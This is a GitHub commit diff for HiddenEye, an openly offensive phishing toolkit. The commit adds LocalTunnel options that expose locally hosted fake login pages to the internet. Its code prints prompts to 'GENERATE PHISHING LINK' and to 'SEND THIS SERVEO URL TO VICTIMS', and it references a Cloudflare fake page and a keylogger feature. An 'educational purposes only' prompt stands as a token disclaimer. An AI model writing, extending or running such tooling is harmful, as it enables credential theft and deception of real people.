LocalTunnel-Beta-Branch (#442)

* LocalTunnel Added.

Made Some Modifications From PR #440 
- Added Multiple Checks For Installation of LocalTunnel.
- Fixed Issues with Packages Installation.
- Separated LocalTunnel Binary From Package During installation.
- Added Both LocalTunnel (Binary) & LocalTunnel (Package).
- Added Option for using both Binary & LocalTunnel as Tunnelling Option.
- Checks Added For LocalTunnel.
- Version Tag Updated.
- @endbehavi0r is Now i Contributors List.
- LocalTunnel Added In Tunnelling List.
- Wget installation Added..

For Downloading Binary packages wget is Required.
This commit is contained in:
AnonUD4Y 2019-11-16 08:51:49 +00:00 committed by GitHub
parent 1a8d414b5a
commit c454c60750
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 99 additions and 8 deletions

View File

@ -158,9 +158,8 @@ def selectServer(port): #Question where user must select server
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ HOST SERVER SELECTION ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print(_("\n {1}[{0}!{1}]{1}(LOCALXPOSE/SERVEO WORKS BETTER)").format(MAIN0, MAIN2))
print(_("\n {0}[{1}*{0}]{0}Select Any Available Server:{1}").format(MAIN0, MAIN4))
print(_("\n {0}[{1}1{0}]{1}Ngrok\n {0}[{1}2{0}]{1}Serveo\n {0}[{1}3{0}]{1}Localxpose").format(MAIN0, MAIN2))
print(_("\n {0}[{1}1{0}]{1}Ngrok\n {0}[{1}2{0}]{1}Serveo\n {0}[{1}3{0}]{1}Localxpose\n {0}[{1}4{0}]{1}Localtunnel (Package Version)\n {0}[{1}5{0}]{1}Localtunnel (Binary Version)[Buggy]").format(MAIN0, MAIN2))
choice = input(" \n{0}HiddenEye >>> {2}".format(MAIN0, MAIN4, MAIN2))
if choice == '1':
@ -172,7 +171,12 @@ def selectServer(port): #Question where user must select server
elif choice == '3':
system('clear')
runLocalxpose(port)
elif choice == '4':
system('clear')
runLT(port,True)
elif choice=='5':
system('clear')
runLT(port,False)
else:
system('clear')
return selectServer(port)
@ -344,6 +348,39 @@ def randomServeo(port):
system('clear')
return randomServeo(port)
def runLT(port,npm):
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print(_("\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}").format(MAIN0, MAIN2))
print(_("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL").format(MAIN0, MAIN2))
s=input(('\n{0}(Localtunnel/Subdomain)> {2}').format(MAIN0,MAIN4,MAIN2))
try:
system('{0}lt -p '.format('' if npm else 'Server/')+port+((' -s '+s) if s!='' else s)+' > link.url &')
sleep(3)
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(MAIN0, MAIN2, MAIN3, port, str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",shell=True)).strip("b ' \ n r")))
except CalledProcessError:
system('clear')
print(_('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------''').format(MAIN0, MAIN2))
print('{0}error[invalid/preoccupied]{0}'.format(MAIN0))
runLT(port,npm)
def runMainMenu(): #menu where user select what they wanna use
if 256 != system('which php > /dev/null'): #Checking if user have PHP
@ -357,7 +394,7 @@ def runMainMenu(): #menu where user select what they wanna use
stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait...{2}%").format(MAIN0, MAIN4, i))
stdout.flush()
if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({0}y{1}/{2}n{1})\n{2}HiddenEye >>> {0}").format(MAIN2, MAIN4, MAIN0)).upper() != 'Y': #Question where user must accept education purposes
if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({0}Y{1}/{2}N{1})\n{2}HiddenEye >>> {0}").format(MAIN2, MAIN4, MAIN0)).upper() != 'Y' : #Question where user must accept education purposes
system('clear')
print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE.!{1} ]\n\n').format(MAIN0, MAIN4))
exit(0)
@ -679,7 +716,7 @@ def addingCloudfare():
def addCloudfare():
system('mv Server/www/index.* Server/www/home.php && cp WebPages/cloudfare.html Server/www/index.html')
print(_("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...").format(MAIN0, MAIN4))
sleep(2)
sleep(1)
def keyloggerprompt():
system('clear')

View File

@ -2,11 +2,13 @@
from urllib.request import urlopen
from os import *
from time import sleep
from subprocess import check_output
from platform import system as systemos, architecture
from wget import download
from Defs.Languages import *
import os
import subprocess
import ctypes
RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m'
@ -19,6 +21,7 @@ def checkConnection(host='https://google.com'): #Connection check
try:
urlopen(host, timeout=10)
print(_("{0}HURRAY!! Internet is available.. We can Continue{1}").format(GREEN, DEFAULT))
print(_("\n\n{0}Wait! Checking for Neccesary Packages{1}...\n ").format(GREEN, DEFAULT))
return True
except:
return False
@ -70,6 +73,53 @@ def checkLocalxpose(): #Localxpose check
system('mv loclx* loclx')
system('mv loclx Server/')
system('clear')
def checkbinaryLT(): #LocalTunnel Binary File check.
if path.isfile('Server/lt') == False: #Is LocalTunnel downloaded?
print(_('[*] LocalTunnel Binary File Not Found !!'))
print(_('[*] Downloading LocalTunnel...'))
system("apt install wget && pkg install wget && wget https://www.wa4e.com/downloads/lt-linux.zip")
system('unzip lt*.zip && rm lt*.zip && mv lt* lt && mv lt Server/lt ')
system('clear')
def checkLT(): #Ask to install npm,node.js,localtunnel(packages).
if 256 == system('which lt > /dev/null'):
system('clear')
print(_("{0}[{1}?{0}] Do You Want To Install LOCALTUNNEL(Tunneling Service) Packages.\n{0}[{1}*{0}]{1} May take time , Skip if not wants to use LocalTunnel(Package Version).").format(RED, GREEN, DEFAULT))
choice = input(" \n({1}Y{2}/{2}(N)>> {2}".format(RED, GREEN, DEFAULT))
if choice == 'y' or choice == 'Y':
system('clear')
installLT()
elif choice == 'n' or choice == 'N':
print(_("\n{0}[{1}!{0}]{0} You can not use LocalTunnel(Package Version).\n{0}[{1}!{0}]{0} But still You Can Use LocalTunnel(Binary Version).\n\n\n").format(RED, GREEN, DEFAULT))
input('Press Enter To Continue')
system('clear')
else:
return checkLT()
else:
print("[*] LocalTunnel Packages Found !!")
sleep(2)
system('clear')
def installLT(): #Localtunnel check
print(_('[*] Installing LocalTunnel...'))
if 'Android' in str(check_output(('uname', '-a'))) or 'arm' in str(check_output(('uname', '-a'))):
system("apt-get -y update;apt -y install nodejs npm;npm cache clean -f;npm i -g n;n stable;npm i -g localtunnel-termux;clear")
checkagainLT()
else:
system("apt-get -y update;apt -y install nodejs npm;npm cache clean -f;npm i -g n;n stable;npm i -g localtunnel;clear")
checkagainLT()
def checkagainLT(): #Check if Localtunnel installed correctly or not.
if 256 == system('which lt > /dev/null'):
system('clear')
print('[ERROR]: LocalTunnel Packages Does Not Installed Correctly...')
print('')
input('[^] Press Enter To Go Back To installation..')
checkLT()
else:
print('[SUCCESS] LocalTunnel Installed.')
sleep(2)
def checkPermissions():
if systemos() == 'Linux':

View File

@ -23,6 +23,8 @@ languageSelector()
checkConnection()
checkLocalxpose()
checkNgrok()
checkbinaryLT()
checkLT()
ifSettingsNotExists()
readConfig()

View File

@ -13,7 +13,7 @@
<p align="center">
<a href="https://github.com/darksecdevelopers"><img title="Open Source Love" src="https://badges.frapsoft.com/os/v3/open-source.svg?v=102" ></a>
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=0.4.1&x2=0" ></a>
<a href="https://github.com/DarkSecDevelopers/HiddenEye/releases"><img title="GitHub version" src="https://d25lcipzij17d.cloudfront.net/badge.svg?id=gh&type=6&v=0.5.0&x2=0" ></a>
<a href="https://www.codetriage.com/darksecdevelopers/hiddeneye"><img title="Open Source Helpers" src="https://www.codetriage.com/darksecdevelopers/hiddeneye/badges/users.svg" ></a>
</p>
@ -25,13 +25,15 @@
4) UNDEADSEC (https://github.com/UndeadSec)
5) Micrafast (https://github.com/Micrafast)
6) Moltivie (https://github.com/Moltivie)
7) ___________ (WAITING FOR YOU)
7) endbehavi0r (https://github.com/endbehavi0r)
8) ___________ (WAITING FOR YOU)
# AVAILABLE TUNNELLING OPTIONS**
1) LOCALXPOSE (https://localxpose.io)
2) SERVEO (https://serveo.net/)
3) NGROK (https://ngrok.com/)
4) LOCALTUNNEL (Package Version) (https://localtunnel.me)
5) LOCALTUNNEL (Binary Version) (https://www.wa4e.com/downloads/)
# SCREENSHOT (Android-Userland)
![Shot](https://github.com/DarkSecDevelopers/HiddenEye/blob/master/Screenshot.png)